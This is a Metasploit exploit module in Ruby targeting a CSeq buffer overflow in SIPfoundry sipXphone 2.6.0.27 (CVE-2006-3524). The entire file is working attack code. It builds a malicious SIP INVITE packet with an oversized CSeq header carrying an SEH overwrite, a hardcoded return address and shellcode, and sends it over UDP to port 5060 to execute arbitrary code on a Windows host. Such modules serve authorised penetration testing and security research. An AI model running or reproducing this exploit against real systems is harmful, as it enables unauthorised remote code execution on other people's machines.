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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in SIPfoundry's
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        sipXphone 2.6.0.27. By sending an overly long CSeq value,
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        a remote attacker could overflow a buffer and execute
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        arbitrary code on the system with the privileges of
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        the affected application.
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      },
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      'Author'         => 'MC',
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      'References'     =>
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        [
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          [ 'CVE', '2006-3524' ],
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          [ 'OSVDB', '27122' ],
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          [ 'BID', '18906' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00\x0a\x20\x09\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2006-07-10',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(5060)
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      ])
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  end
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  def exploit
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    connect_udp
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    user   = rand_text_english(2, payload_badchars)
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    port   = rand(65535).to_s
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    filler = rand_text_english(212, payload_badchars)
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    seh    = generate_seh_payload(target.ret)
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    filler[204, seh.length] = seh
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    sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
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    sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
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    sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
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    sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
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    sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
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    sploit  <<  "CSeq: " + filler + "\r\n"
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    sploit  <<  "Max-Forwards: 20" +  "\r\n"
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    sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
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    print_status("Trying target #{target.name}...")
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    udp_sock.put(sploit)
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    handler
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    disconnect_udp
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  end
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end
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